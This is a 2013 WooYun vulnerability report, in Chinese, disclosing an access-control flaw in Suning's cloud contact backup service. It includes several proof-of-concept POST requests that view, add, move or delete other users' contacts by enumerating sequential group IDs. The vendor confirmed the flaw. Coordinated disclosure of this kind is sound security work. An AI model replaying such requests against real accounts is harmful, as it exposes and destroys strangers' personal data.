当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-039802

漏洞标题：苏宁易购某云产品缺陷可造成他人信息泄露

相关厂商：江苏苏宁易购电子商务有限公司

漏洞作者： zzR

提交时间：2013-10-15 14:48

修复时间：2013-11-29 14:57

公开时间：2013-11-29 14:57

漏洞类型：账户体系控制不严

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-15： 细节已通知厂商并且等待厂商处理中
2013-10-15： 厂商已经确认，细节仅向厂商公开
2013-10-25： 细节向核心白帽子及相关领域专家公开
2013-11-04： 细节向普通白帽子公开
2013-11-14： 细节向实习白帽子公开
2013-11-29： 细节向公众公开

简要描述：

我还记得在我刚刚接触云概念的时候，有一位经理跟我打了个比喻。

详细说明：

苏宁云备份系统：

https://pim.suning.com/


支持手机APP以及WEB方式存储和共享数据，通常情况下，用户将APp安装至手机，将手机数据如通讯录、短信、照片流等同步到云端，当然在云端也可以对这些数据进行操作，同时，可以在本地和云端进行数据交互。
在对云端数据进行校对的时候，发现某些权限控制不够严格，导致可以查看、修改、删除他人云端数据，造成他人信息泄露。

漏洞证明：

添加新联系人详细信息到他人分组、自动创建分组
POST https://pim.suning.com/cloudsync-web/contact/editContact.do?contact_id=11130XX
NAME%3B-1%3BgivenName=3&TEL%3BCELL%3B0=12340&GROUP_INSERT=11130XX
删除他人分组
POST https://pim.suning.com/cloudsync-web/contact/delContactGroups.do
groupId=11130XX
移动联系人到指定分组
POST https://pim.suning.com/cloudsync-web/contact/removeToGroups.do
person_ids=11130XX%2C11130XX&group_ids=11130XX


其中的GROUP_INSERT=11130XX/groupId=11130XX/group_ids 均为递增数据，可遍历

1.png


2.png


查看他人任意联系人
POST https://pim.suning.com/cloudsync-web/contact/searchContact.do
search_title=&title=&groupId=11130xx&pageNumber=1
groupId=11130xx 递增遍历


cony.png


修复方案：

groupId=11130xx 110W+ 真有这么多分组？
短信、照片啥的没有去测试，因为安卓apk装到手机上老是报错，怎么回事~

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2013-10-15 16:00

厂商回复：

感谢你对苏宁易购安全的关注！

最新状态：

暂无